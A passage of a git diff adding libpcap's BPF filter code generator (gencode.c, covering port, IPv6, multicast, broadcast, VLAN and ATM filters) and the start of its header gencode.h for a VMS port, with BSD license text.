Q_UDP) + proto = IPPROTO_UDP; + else if (proto == Q_TCP) + proto = IPPROTO_TCP; + else if (proto == Q_SCTP) + proto = IPPROTO_SCTP; + else if (proto == Q_DEFAULT) + proto = PROTO_UNDEF; + else + bpf_error("illegal qualifier of 'port'"); + +#ifndef INET6 + return gen_port((int)v, proto, dir); +#else + { + struct block *b; + b = gen_port((int)v, proto, dir); + gen_or(gen_port6((int)v, proto, dir), b); + return b; + } +#endif /* INET6 */ + + case Q_GATEWAY: + bpf_error("'gateway' requires a name"); + /* NOTREACHED */ + + case Q_PROTO: + return gen_proto((int)v, proto, dir); + + case Q_PROTOCHAIN: + return gen_protochain((int)v, proto, dir); + + case Q_UNDEF: + syntax(); + /* NOTREACHED */ + + default: + abort(); + /* NOTREACHED */ + } + /* NOTREACHED */ +} + +#ifdef INET6 +struct block * +gen_mcode6(s1, s2, masklen, q) + register const char *s1, *s2; + register int masklen; + struct qual q; +{ + struct addrinfo *res; + struct in6_addr *addr; + struct in6_addr mask; + struct block *b; + u_int32_t *a, *m; + + if (s2) + bpf_error("no mask %s supported", s2); + + res = pcap_nametoaddrinfo(s1); + if (!res) + bpf_error("invalid ip6 address %s", s1); + if (res->ai_next) + bpf_error("%s resolved to multiple address", s1); + addr = &((struct sockaddr_in6 *)res->ai_addr)->sin6_addr; + + if (sizeof(mask) * 8 < masklen) + bpf_error("mask length must be <= %u", (unsigned int)(sizeof(mask) * 8)); + memset(&mask, 0, sizeof(mask)); + memset(&mask, 0xff, masklen / 8); + if (masklen % 8) { + mask.s6_addr[masklen / 8] = + (0xff << (8 - masklen % 8)) & 0xff; + } + + a = (u_int32_t *)addr; + m = (u_int32_t *)&mask; + if ((a[0] & ~m[0]) || (a[1] & ~m[1]) + || (a[2] & ~m[2]) || (a[3] & ~m[3])) { + bpf_error("non-network bits set in \"%s/%d\"", s1, masklen); + } + + switch (q.addr) { + + case Q_DEFAULT: + case Q_HOST: + if (masklen != 128) + bpf_error("Mask syntax for networks only"); + /* FALLTHROUGH */ + + case Q_NET: + b = gen_host6(addr, &mask, q.proto, q.dir); + freeaddrinfo(res); + return b; + + default: + bpf_error("invalid qualifier against IPv6 address"); + /* NOTREACHED */ + } +} +#endif /*INET6*/ + +struct block * +gen_ecode(eaddr, q) + register const u_char *eaddr; + struct qual q; +{ + struct block *b, *tmp; + + if ((q.addr == Q_HOST || q.addr == Q_DEFAULT) && q.proto == Q_LINK) { + if (linktype == DLT_EN10MB) + return gen_ehostop(eaddr, (int)q.dir); + if (linktype == DLT_FDDI) + return gen_fhostop(eaddr, (int)q.dir); + if (linktype == DLT_IEEE802) + return gen_thostop(eaddr, (int)q.dir); + if (linktype == DLT_IEEE802_11) + return gen_wlanhostop(eaddr, (int)q.dir); + if (linktype == DLT_SUNATM && is_lane) { + /* + * Check that the packet doesn't begin with an + * LE Control marker. (We've already generated + * a test for LANE.) + */ + tmp = gen_cmp(SUNATM_PKT_BEGIN_POS, BPF_H, 0xFF00); + gen_not(tmp); + + /* + * Now check the MAC address. + */ + b = gen_ehostop(eaddr, (int)q.dir); + gen_and(tmp, b); + return b; + } + if (linktype == DLT_IP_OVER_FC) + return gen_ipfchostop(eaddr, (int)q.dir); + bpf_error("ethernet addresses supported only on ethernet/FDDI/token ring/802.11/ATM LANE/Fibre Channel"); + } + bpf_error("ethernet address used in non-ether expression"); + /* NOTREACHED */ +} + +void +sappend(s0, s1) + struct slist *s0, *s1; +{ + /* + * This is definitely not the best way to do this, but the + * lists will rarely get long. + */ + while (s0->next) + s0 = s0->next; + s0->next = s1; +} + +static struct slist * +xfer_to_x(a) + struct arth *a; +{ + struct slist *s; + + s = new_stmt(BPF_LDX|BPF_MEM); + s->s.k = a->regno; + return s; +} + +static struct slist * +xfer_to_a(a) + struct arth *a; +{ + struct slist *s; + + s = new_stmt(BPF_LD|BPF_MEM); + s->s.k = a->regno; + return s; +} + +struct arth * +gen_load(proto, index, size) + int proto; + struct arth *index; + int size; +{ + struct slist *s, *tmp; + struct block *b; + int regno = alloc_reg(); + + free_reg(index->regno); + switch (size) { + + default: + bpf_error("data size must be 1, 2, or 4"); + + case 1: + size = BPF_B; + break; + + case 2: + size = BPF_H; + break; + + case 4: + size = BPF_W; + break; + } + switch (proto) { + default: + bpf_error("unsupported index operation"); + + case Q_LINK: + /* + * XXX - what about ATM LANE? Should the index be + * relative to the beginning of the AAL5 frame, so + * that 0 refers to the beginning of the LE Control + * field, or relative to the beginning of the LAN + * frame, so that 0 refers, for Ethernet LANE, to + * the beginning of the destination address? + */ + s = xfer_to_x(index); + tmp = new_stmt(BPF_LD|BPF_IND|size); + sappend(s, tmp); + sappend(index->s, s); + break; + + case Q_IP: + case Q_ARP: + case Q_RARP: + case Q_ATALK: + case Q_DECNET: + case Q_SCA: + case Q_LAT: + case Q_MOPRC: + case Q_MOPDL: +#ifdef INET6 + case Q_IPV6: +#endif + /* XXX Note that we assume a fixed link header here. */ + s = xfer_to_x(index); + tmp = new_stmt(BPF_LD|BPF_IND|size); + tmp->s.k = off_nl; + sappend(s, tmp); + sappend(index->s, s); + + b = gen_proto_abbrev(proto); + if (index->b) + gen_and(index->b, b); + index->b = b; + break; + + case Q_SCTP: + case Q_TCP: + case Q_UDP: + case Q_ICMP: + case Q_IGMP: + case Q_IGRP: + case Q_PIM: + case Q_VRRP: + s = new_stmt(BPF_LDX|BPF_MSH|BPF_B); + s->s.k = off_nl; + sappend(s, xfer_to_a(index)); + sappend(s, new_stmt(BPF_ALU|BPF_ADD|BPF_X)); + sappend(s, new_stmt(BPF_MISC|BPF_TAX)); + sappend(s, tmp = new_stmt(BPF_LD|BPF_IND|size)); + tmp->s.k = off_nl; + sappend(index->s, s); + + gen_and(gen_proto_abbrev(proto), b = gen_ipfrag()); + if (index->b) + gen_and(index->b, b); +#ifdef INET6 + gen_and(gen_proto_abbrev(Q_IP), b); +#endif + index->b = b; + break; +#ifdef INET6 + case Q_ICMPV6: + bpf_error("IPv6 upper-layer protocol is not supported by proto[x]"); + /*NOTREACHED*/ +#endif + } + index->regno = regno; + s = new_stmt(BPF_ST); + s->s.k = regno; + sappend(index->s, s); + + return index; +} + +struct block * +gen_relation(code, a0, a1, reversed) + int code; + struct arth *a0, *a1; + int reversed; +{ + struct slist *s0, *s1, *s2; + struct block *b, *tmp; + + s0 = xfer_to_x(a1); + s1 = xfer_to_a(a0); + if (code == BPF_JEQ) { + s2 = new_stmt(BPF_ALU|BPF_SUB|BPF_X); + b = new_block(JMP(code)); + sappend(s1, s2); + } + else + b = new_block(BPF_JMP|code|BPF_X); + if (reversed) + gen_not(b); + + sappend(s0, s1); + sappend(a1->s, s0); + sappend(a0->s, a1->s); + + b->stmts = a0->s; + + free_reg(a0->regno); + free_reg(a1->regno); + + /* 'and' together protocol checks */ + if (a0->b) { + if (a1->b) { + gen_and(a0->b, tmp = a1->b); + } + else + tmp = a0->b; + } else + tmp = a1->b; + + if (tmp) + gen_and(tmp, b); + + return b; +} + +struct arth * +gen_loadlen() +{ + int regno = alloc_reg(); + struct arth *a = (struct arth *)newchunk(sizeof(*a)); + struct slist *s; + + s = new_stmt(BPF_LD|BPF_LEN); + s->next = new_stmt(BPF_ST); + s->next->s.k = regno; + a->s = s; + a->regno = regno; + + return a; +} + +struct arth * +gen_loadi(val) + int val; +{ + struct arth *a; + struct slist *s; + int reg; + + a = (struct arth *)newchunk(sizeof(*a)); + + reg = alloc_reg(); + + s = new_stmt(BPF_LD|BPF_IMM); + s->s.k = val; + s->next = new_stmt(BPF_ST); + s->next->s.k = reg; + a->s = s; + a->regno = reg; + + return a; +} + +struct arth * +gen_neg(a) + struct arth *a; +{ + struct slist *s; + + s = xfer_to_a(a); + sappend(a->s, s); + s = new_stmt(BPF_ALU|BPF_NEG); + s->s.k = 0; + sappend(a->s, s); + s = new_stmt(BPF_ST); + s->s.k = a->regno; + sappend(a->s, s); + + return a; +} + +struct arth * +gen_arth(code, a0, a1) + int code; + struct arth *a0, *a1; +{ + struct slist *s0, *s1, *s2; + + s0 = xfer_to_x(a1); + s1 = xfer_to_a(a0); + s2 = new_stmt(BPF_ALU|BPF_X|code); + + sappend(s1, s2); + sappend(s0, s1); + sappend(a1->s, s0); + sappend(a0->s, a1->s); + + free_reg(a0->regno); + free_reg(a1->regno); + + s0 = new_stmt(BPF_ST); + a0->regno = s0->s.k = alloc_reg(); + sappend(a0->s, s0); + + return a0; +} + +/* + * Here we handle simple allocation of the scratch registers. + * If too many registers are alloc'd, the allocator punts. + */ +static int regused[BPF_MEMWORDS]; +static int curreg; + +/* + * Return the next free register. + */ +static int +alloc_reg() +{ + int n = BPF_MEMWORDS; + + while (--n >= 0) { + if (regused[curreg]) + curreg = (curreg + 1) % BPF_MEMWORDS; + else { + regused[curreg] = 1; + return curreg; + } + } + bpf_error("too many registers needed to evaluate expression"); + /* NOTREACHED */ +} + +/* + * Return a register to the table so it can + * be used later. + */ +static void +free_reg(n) + int n; +{ + regused[n] = 0; +} + +static struct block * +gen_len(jmp, n) + int jmp, n; +{ + struct slist *s; + struct block *b; + + s = new_stmt(BPF_LD|BPF_LEN); + b = new_block(JMP(jmp)); + b->stmts = s; + b->s.k = n; + + return b; +} + +struct block * +gen_greater(n) + int n; +{ + return gen_len(BPF_JGE, n); +} + +/* + * Actually, this is less than or equal. + */ +struct block * +gen_less(n) + int n; +{ + struct block *b; + + b = gen_len(BPF_JGT, n); + gen_not(b); + + return b; +} + +struct block * +gen_byteop(op, idx, val) + int op, idx, val; +{ + struct block *b; + struct slist *s; + + switch (op) { + default: + abort(); + + case '=': + return gen_cmp((u_int)idx, BPF_B, (bpf_int32)val); + + case '<': + b = gen_cmp((u_int)idx, BPF_B, (bpf_int32)val); + b->s.code = JMP(BPF_JGE); + gen_not(b); + return b; + + case '>': + b = gen_cmp((u_int)idx, BPF_B, (bpf_int32)val); + b->s.code = JMP(BPF_JGT); + return b; + + case '|': + s = new_stmt(BPF_ALU|BPF_OR|BPF_K); + break; + + case '&': + s = new_stmt(BPF_ALU|BPF_AND|BPF_K); + break; + } + s->s.k = val; + b = new_block(JMP(BPF_JEQ)); + b->stmts = s; + gen_not(b); + + return b; +} + +static u_char abroadcast[] = { 0x0 }; + +struct block * +gen_broadcast(proto) + int proto; +{ + bpf_u_int32 hostmask; + struct block *b0, *b1, *b2; + static u_char ebroadcast[] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; + + switch (proto) { + + case Q_DEFAULT: + case Q_LINK: + if (linktype == DLT_ARCNET) + return gen_ahostop(abroadcast, Q_DST); + if (linktype == DLT_EN10MB) + return gen_ehostop(ebroadcast, Q_DST); + if (linktype == DLT_FDDI) + return gen_fhostop(ebroadcast, Q_DST); + if (linktype == DLT_IEEE802) + return gen_thostop(ebroadcast, Q_DST); + if (linktype == DLT_IEEE802_11) + return gen_wlanhostop(ebroadcast, Q_DST); + if (linktype == DLT_SUNATM && is_lane) { + /* + * Check that the packet doesn't begin with an + * LE Control marker. (We've already generated + * a test for LANE.) + */ + b1 = gen_cmp(SUNATM_PKT_BEGIN_POS, BPF_H, 0xFF00); + gen_not(b1); + + /* + * Now check the MAC address. + */ + b0 = gen_ehostop(ebroadcast, Q_DST); + gen_and(b1, b0); + return b0; + } + bpf_error("not a broadcast link"); + break; + + case Q_IP: + b0 = gen_linktype(ETHERTYPE_IP); + hostmask = ~netmask; + b1 = gen_mcmp(off_nl + 16, BPF_W, (bpf_int32)0, hostmask); + b2 = gen_mcmp(off_nl + 16, BPF_W, + (bpf_int32)(~0 & hostmask), hostmask); + gen_or(b1, b2); + gen_and(b0, b2); + return b2; + } + bpf_error("only ether/ip broadcast filters supported"); +} + +/* + * Generate code to test the low-order bit of a MAC address (that's + * the bottom bit of the *first* byte). + */ +static struct block * +gen_mac_multicast(offset) + int offset; +{ + register struct block *b0; + register struct slist *s; + + /* link[offset] & 1 != 0 */ + s = new_stmt(BPF_LD|BPF_B|BPF_ABS); + s->s.k = offset; + b0 = new_block(JMP(BPF_JSET)); + b0->s.k = 1; + b0->stmts = s; + return b0; +} + +struct block * +gen_multicast(proto) + int proto; +{ + register struct block *b0, *b1, *b2; + register struct slist *s; + + switch (proto) { + + case Q_DEFAULT: + case Q_LINK: + if (linktype == DLT_ARCNET) + /* all ARCnet multicasts use the same address */ + return gen_ahostop(abroadcast, Q_DST); + + if (linktype == DLT_EN10MB) { + /* ether[0] & 1 != 0 */ + return gen_mac_multicast(0); + } + + if (linktype == DLT_FDDI) { + /* + * XXX TEST THIS: MIGHT NOT PORT PROPERLY XXX + * + * XXX - was that referring to bit-order issues? + */ + /* fddi[1] & 1 != 0 */ + return gen_mac_multicast(1); + } + + if (linktype == DLT_IEEE802) { + /* tr[2] & 1 != 0 */ + return gen_mac_multicast(2); + } + + if (linktype == DLT_IEEE802_11) { + /* + * Oh, yuk. + * + * For control frames, there is no DA. + * + * For management frames, DA is at an + * offset of 4 from the beginning of + * the packet. + * + * For data frames, DA is at an offset + * of 4 from the beginning of the packet + * if To DS is clear and at an offset of + * 16 from the beginning of the packet + * if To DS is set. + */ + + /* + * Generate the tests to be done for data frames. + * + * First, check for To DS set, i.e. "link[1] & 0x01". + */ + s = new_stmt(BPF_LD|BPF_B|BPF_ABS); + s->s.k = 1; + b1 = new_block(JMP(BPF_JSET)); + b1->s.k = 0x01; /* To DS */ + b1->stmts = s; + + /* + * If To DS is set, the DA is at 16. + */ + b0 = gen_mac_multicast(16); + gen_and(b1, b0); + + /* + * Now, check for To DS not set, i.e. check + * "!(link[1] & 0x01)". + */ + s = new_stmt(BPF_LD|BPF_B|BPF_ABS); + s->s.k = 1; + b2 = new_block(JMP(BPF_JSET)); + b2->s.k = 0x01; /* To DS */ + b2->stmts = s; + gen_not(b2); + + /* + * If To DS is not set, the DA is at 4. + */ + b1 = gen_mac_multicast(4); + gen_and(b2, b1); + + /* + * Now OR together the last two checks. That gives + * the complete set of checks for data frames. + */ + gen_or(b1, b0); + + /* + * Now check for a data frame. + * I.e, check "link[0] & 0x08". + */ + s = new_stmt(BPF_LD|BPF_B|BPF_ABS); + s->s.k = 0; + b1 = new_block(JMP(BPF_JSET)); + b1->s.k = 0x08; + b1->stmts = s; + + /* + * AND that with the checks done for data frames. + */ + gen_and(b1, b0); + + /* + * If the high-order bit of the type value is 0, this + * is a management frame. + * I.e, check "!(link[0] & 0x08)". + */ + s = new_stmt(BPF_LD|BPF_B|BPF_ABS); + s->s.k = 0; + b2 = new_block(JMP(BPF_JSET)); + b2->s.k = 0x08; + b2->stmts = s; + gen_not(b2); + + /* + * For management frames, the DA is at 4. + */ + b1 = gen_mac_multicast(4); + gen_and(b2, b1); + + /* + * OR that with the checks done for data frames. + * That gives the checks done for management and + * data frames. + */ + gen_or(b1, b0); + + /* + * If the low-order bit of the type value is 1, + * this is either a control frame or a frame + * with a reserved type, and thus not a + * frame with an SA. + * + * I.e., check "!(link[0] & 0x04)". + */ + s = new_stmt(BPF_LD|BPF_B|BPF_ABS); + s->s.k = 0; + b1 = new_block(JMP(BPF_JSET)); + b1->s.k = 0x04; + b1->stmts = s; + gen_not(b1); + + /* + * AND that with the checks for data and management + * frames. + */ + gen_and(b1, b0); + return b0; + } + + if (linktype == DLT_SUNATM && is_lane) { + /* + * Check that the packet doesn't begin with an + * LE Control marker. (We've already generated + * a test for LANE.) + */ + b1 = gen_cmp(SUNATM_PKT_BEGIN_POS, BPF_H, 0xFF00); + gen_not(b1); + + /* ether[off_mac] & 1 != 0 */ + b0 = gen_mac_multicast(off_mac); + gen_and(b1, b0); + return b0; + } + + /* Link not known to support multicasts */ + break; + + case Q_IP: + b0 = gen_linktype(ETHERTYPE_IP); + b1 = gen_cmp(off_nl + 16, BPF_B, (bpf_int32)224); + b1->s.code = JMP(BPF_JGE); + gen_and(b0, b1); + return b1; + +#ifdef INET6 + case Q_IPV6: + b0 = gen_linktype(ETHERTYPE_IPV6); + b1 = gen_cmp(off_nl + 24, BPF_B, (bpf_int32)255); + gen_and(b0, b1); + return b1; +#endif /* INET6 */ + } + bpf_error("only IP multicast filters supported on ethernet/FDDI"); +} + +/* + * generate command for inbound/outbound. It's here so we can + * make it link-type specific. 'dir' = 0 implies "inbound", + * = 1 implies "outbound". + */ +struct block * +gen_inbound(dir) + int dir; +{ + register struct block *b0; + + /* + * Only some data link types support inbound/outbound qualifiers. + */ + switch (linktype) { + case DLT_SLIP: + case DLT_PPP: + b0 = gen_relation(BPF_JEQ, + gen_load(Q_LINK, gen_loadi(0), 1), + gen_loadi(0), + dir); + break; + + case DLT_LINUX_SLL: + if (dir) { + /* + * Match packets sent by this machine. + */ + b0 = gen_cmp(0, BPF_H, LINUX_SLL_OUTGOING); + } else { + /* + * Match packets sent to this machine. + * (No broadcast or multicast packets, or + * packets sent to some other machine and + * received promiscuously.) + * + * XXX - packets sent to other machines probably + * shouldn't be matched, but what about broadcast + * or multicast packets we received? + */ + b0 = gen_cmp(0, BPF_H, LINUX_SLL_HOST); + } + break; + + default: + bpf_error("inbound/outbound not supported on linktype %d\n", + linktype); + b0 = NULL; + /* NOTREACHED */ + } + return (b0); +} + +struct block * +gen_acode(eaddr, q) + register const u_char *eaddr; + struct qual q; +{ + if ((q.addr == Q_HOST || q.addr == Q_DEFAULT) && q.proto == Q_LINK) { + if (linktype == DLT_ARCNET) + return gen_ahostop(eaddr, (int)q.dir); + } + bpf_error("ARCnet address used in non-arc expression"); + /* NOTREACHED */ +} + +static struct block * +gen_ahostop(eaddr, dir) + register const u_char *eaddr; + register int dir; +{ + register struct block *b0, *b1; + + switch (dir) { + /* src comes first, different from Ethernet */ + case Q_SRC: + return gen_bcmp(0, 1, eaddr); + + case Q_DST: + return gen_bcmp(1, 1, eaddr); + + case Q_AND: + b0 = gen_ahostop(eaddr, Q_SRC); + b1 = gen_ahostop(eaddr, Q_DST); + gen_and(b0, b1); + return b1; + + case Q_DEFAULT: + case Q_OR: + b0 = gen_ahostop(eaddr, Q_SRC); + b1 = gen_ahostop(eaddr, Q_DST); + gen_or(b0, b1); + return b1; + } + abort(); + /* NOTREACHED */ +} + +/* + * support IEEE 802.1Q VLAN trunk over ethernet + */ +struct block * +gen_vlan(vlan_num) + int vlan_num; +{ + struct block *b0; + + /* + * Change the offsets to point to the type and data fields within + * the VLAN packet. This is somewhat of a kludge. + */ + if (orig_nl == (u_int)-1) { + orig_linktype = off_linktype; /* save original values */ + orig_nl = off_nl; + orig_nl_nosnap = off_nl_nosnap; + + switch (linktype) { + + case DLT_EN10MB: + off_linktype = 16; + off_nl_nosnap = 18; + off_nl = 18; + break; + + default: + bpf_error("no VLAN support for data link type %d", + linktype); + /*NOTREACHED*/ + } + } + + /* check for VLAN */ + b0 = gen_cmp(orig_linktype, BPF_H, (bpf_int32)ETHERTYPE_8021Q); + + /* If a specific VLAN is requested, check VLAN id */ + if (vlan_num >= 0) { + struct block *b1; + + b1 = gen_cmp(orig_nl, BPF_H, (bpf_int32)vlan_num); + gen_and(b0, b1); + b0 = b1; + } + + return (b0); +} + +struct block * +gen_atmfield_code(atmfield, jvalue, jtype, reverse) + int atmfield; + bpf_u_int32 jvalue; + bpf_u_int32 jtype; + int reverse; +{ + struct block *b0; + + switch (atmfield) { + + case A_VPI: + if (!is_atm) + bpf_error("'vpi' supported only on raw ATM"); + if (off_vpi == -1) + abort(); + b0 = gen_ncmp(BPF_B, off_vpi, 0xffffffff, (u_int)jtype, + (u_int)jvalue, reverse); + break; + + case A_VCI: + if (!is_atm) + bpf_error("'vci' supported only on raw ATM"); + if (off_vci == -1) + abort(); + b0 = gen_ncmp(BPF_H, off_vci, 0xffffffff, (u_int)jtype, + (u_int)jvalue, reverse); + break; + + case A_PROTOTYPE: + if (off_proto == -1) + abort(); /* XXX - this isn't on FreeBSD */ + b0 = gen_ncmp(BPF_B, off_proto, 0x0f, (u_int)jtype, + (u_int)jvalue, reverse); + break; + + case A_MSGTYPE: + if (off_payload == -1) + abort(); + b0 = gen_ncmp(BPF_B, off_payload + MSG_TYPE_POS, 0xffffffff, + (u_int)jtype, (u_int)jvalue, reverse); + break; + + case A_CALLREFTYPE: + if (!is_atm) + bpf_error("'callref' supported only on raw ATM"); + if (off_proto == -1) + abort(); + b0 = gen_ncmp(BPF_B, off_proto, 0xffffffff, (u_int)jtype, + (u_int)jvalue, reverse); + break; + + default: + abort(); + } + return b0; +} + +struct block * +gen_atmtype_abbrev(type) + int type; +{ + struct block *b0, *b1; + + switch (type) { + + case A_METAC: + /* Get all packets in Meta signalling Circuit */ + if (!is_atm) + bpf_error("'metac' supported only on raw ATM"); + b0 = gen_atmfield_code(A_VPI, 0, BPF_JEQ, 0); + b1 = gen_atmfield_code(A_VCI, 1, BPF_JEQ, 0); + gen_and(b0, b1); + break; + + case A_BCC: + /* Get all packets in Broadcast Circuit*/ + if (!is_atm) + bpf_error("'bcc' supported only on raw ATM"); + b0 = gen_atmfield_code(A_VPI, 0, BPF_JEQ, 0); + b1 = gen_atmfield_code(A_VCI, 2, BPF_JEQ, 0); + gen_and(b0, b1); + break; + + case A_OAMF4SC: + /* Get all cells in Segment OAM F4 circuit*/ + if (!is_atm) + bpf_error("'oam4sc' supported only on raw ATM"); + b0 = gen_atmfield_code(A_VPI, 0, BPF_JEQ, 0); + b1 = gen_atmfield_code(A_VCI, 3, BPF_JEQ, 0); + gen_and(b0, b1); + break; + + case A_OAMF4EC: + /* Get all cells in End-to-End OAM F4 Circuit*/ + if (!is_atm) + bpf_error("'oam4ec' supported only on raw ATM"); + b0 = gen_atmfield_code(A_VPI, 0, BPF_JEQ, 0); + b1 = gen_atmfield_code(A_VCI, 4, BPF_JEQ, 0); + gen_and(b0, b1); + break; + + case A_SC: + /* Get all packets in connection Signalling Circuit */ + if (!is_atm) + bpf_error("'sc' supported only on raw ATM"); + b0 = gen_atmfield_code(A_VPI, 0, BPF_JEQ, 0); + b1 = gen_atmfield_code(A_VCI, 5, BPF_JEQ, 0); + gen_and(b0, b1); + break; + + case A_ILMIC: + /* Get all packets in ILMI Circuit */ + if (!is_atm) + bpf_error("'ilmic' supported only on raw ATM"); + b0 = gen_atmfield_code(A_VPI, 0, BPF_JEQ, 0); + b1 = gen_atmfield_code(A_VCI, 16, BPF_JEQ, 0); + gen_and(b0, b1); + break; + + case A_LANE: + /* Get all LANE packets */ + if (!is_atm) + bpf_error("'lane' supported only on raw ATM"); + b1 = gen_atmfield_code(A_PROTOTYPE, PT_LANE, BPF_JEQ, 0); + + /* + * Arrange that all subsequent tests assume LANE + * rather than LLC-encapsulated packets, and set + * the offsets appropriately for LANE-encapsulated + * Ethernet. + * + * "off_mac" is the offset of the Ethernet header, + * which is 2 bytes past the ATM pseudo-header + * (skipping the pseudo-header and 2-byte LE Client + * field). The other offsets are Ethernet offsets + * relative to "off_mac". + */ + is_lane = 1; + off_mac = off_payload + 2; /* MAC header */ + off_linktype = off_mac + 12; + off_nl = off_mac + 14; /* Ethernet II */ + off_nl_nosnap = off_mac + 17; /* 802.3+802.2 */ + break; + + case A_LLC: + /* Get all LLC-encapsulated packets */ + if (!is_atm) + bpf_error("'llc' supported only on raw ATM"); + b1 = gen_atmfield_code(A_PROTOTYPE, PT_LLC, BPF_JEQ, 0); + is_lane = 0; + break; + + default: + abort(); + } + return b1; +} + + +static struct block * +gen_msg_abbrev(type) + int type; +{ + struct block *b1; + + /* + * Q.2931 signalling protocol messages for handling virtual circuits + * establishment and teardown + */ + switch (type) { + + case A_SETUP: + b1 = gen_atmfield_code(A_MSGTYPE, SETUP, BPF_JEQ, 0); + break; + + case A_CALLPROCEED: + b1 = gen_atmfield_code(A_MSGTYPE, CALL_PROCEED, BPF_JEQ, 0); + break; + + case A_CONNECT: + b1 = gen_atmfield_code(A_MSGTYPE, CONNECT, BPF_JEQ, 0); + break; + + case A_CONNECTACK: + b1 = gen_atmfield_code(A_MSGTYPE, CONNECT_ACK, BPF_JEQ, 0); + break; + + case A_RELEASE: + b1 = gen_atmfield_code(A_MSGTYPE, RELEASE, BPF_JEQ, 0); + break; + + case A_RELEASE_DONE: + b1 = gen_atmfield_code(A_MSGTYPE, RELEASE_DONE, BPF_JEQ, 0); + break; + + default: + abort(); + } + return b1; +} + +struct block * +gen_atmmulti_abbrev(type) + int type; +{ + struct block *b0, *b1; + + switch (type) { + + case A_OAM: + if (!is_atm) + bpf_error("'oam' supported only on raw ATM"); + b1 = gen_atmmulti_abbrev(A_OAMF4); + break; + + case A_OAMF4: + if (!is_atm) + bpf_error("'oamf4' supported only on raw ATM"); + /* OAM F4 type */ + b0 = gen_atmfield_code(A_VCI, 3, BPF_JEQ, 0); + b1 = gen_atmfield_code(A_VCI, 4, BPF_JEQ, 0); + gen_or(b0, b1); + b0 = gen_atmfield_code(A_VPI, 0, BPF_JEQ, 0); + gen_and(b0, b1); + break; + + case A_CONNECTMSG: + /* + * Get Q.2931 signalling messages for switched + * virtual connection + */ + if (!is_atm) + bpf_error("'connectmsg' supported only on raw ATM"); + b0 = gen_msg_abbrev(A_SETUP); + b1 = gen_msg_abbrev(A_CALLPROCEED); + gen_or(b0, b1); + b0 = gen_msg_abbrev(A_CONNECT); + gen_or(b0, b1); + b0 = gen_msg_abbrev(A_CONNECTACK); + gen_or(b0, b1); + b0 = gen_msg_abbrev(A_RELEASE); + gen_or(b0, b1); + b0 = gen_msg_abbrev(A_RELEASE_DONE); + gen_or(b0, b1); + b0 = gen_atmtype_abbrev(A_SC); + gen_and(b0, b1); + break; + + case A_METACONNECT: + if (!is_atm) + bpf_error("'metaconnect' supported only on raw ATM"); + b0 = gen_msg_abbrev(A_SETUP); + b1 = gen_msg_abbrev(A_CALLPROCEED); + gen_or(b0, b1); + b0 = gen_msg_abbrev(A_CONNECT); + gen_or(b0, b1); + b0 = gen_msg_abbrev(A_RELEASE); + gen_or(b0, b1); + b0 = gen_msg_abbrev(A_RELEASE_DONE); + gen_or(b0, b1); + b0 = gen_atmtype_abbrev(A_METAC); + gen_and(b0, b1); + break; + + default: + abort(); + } + return b1; +} diff --git a/Pcap-VMS/pcap-vci/gencode.h b/Pcap-VMS/pcap-vci/gencode.h new file mode 100644 index 00000000..27d31626 --- /dev/null +++ b/Pcap-VMS/pcap-vci/gencode.h @@ -0,0 +1,289 @@ +/* + * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * @(#) $Header: /tcpdump/master/libpcap/gencode.h,v 1.55 2002/07/11 09:06:34 guy Exp $ (LBL) + */ + +/* + * ATM support: + * + * Copyright (c) 1997 Yen Yen Lim and North Dakota State University + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Yen Yen Lim and + * North Dakota State University + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, + * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +/* Address qualifiers. */ + +#define Q_HOST 1 +#define Q_NET 2 +#define Q_PORT 3 +#define Q_GATEWAY 4 +#define Q_PROTO 5 +#define Q_PROTOCHAIN 6 + +/* Protocol qualifiers. */ + +#define Q_LINK 1 +#define Q_IP 2 +#define Q_ARP 3 +#define Q_RARP 4 +#define Q_SCTP 5 +#define Q_TCP 6 +#define Q_UDP 7 +#define Q_ICMP 8 +#define Q_IGMP 9 +#define Q_IGRP 10 + + +#define Q_ATALK 11 +#define Q_DECNET 12 +#define Q_LAT 13 +#define Q_SCA 14 +#define Q_MOPRC 15 +#define Q_MOPDL 16 + + +#define Q_IPV6 17 +#define Q_ICMPV6 18 +#define Q_AH 19 +#define Q_ESP 20 + +#define Q_PIM 21 +#define Q_VRRP 22 + +#define Q_AARP 23 + +#define Q_ISO 24 +#define Q_ESIS 25 +#define 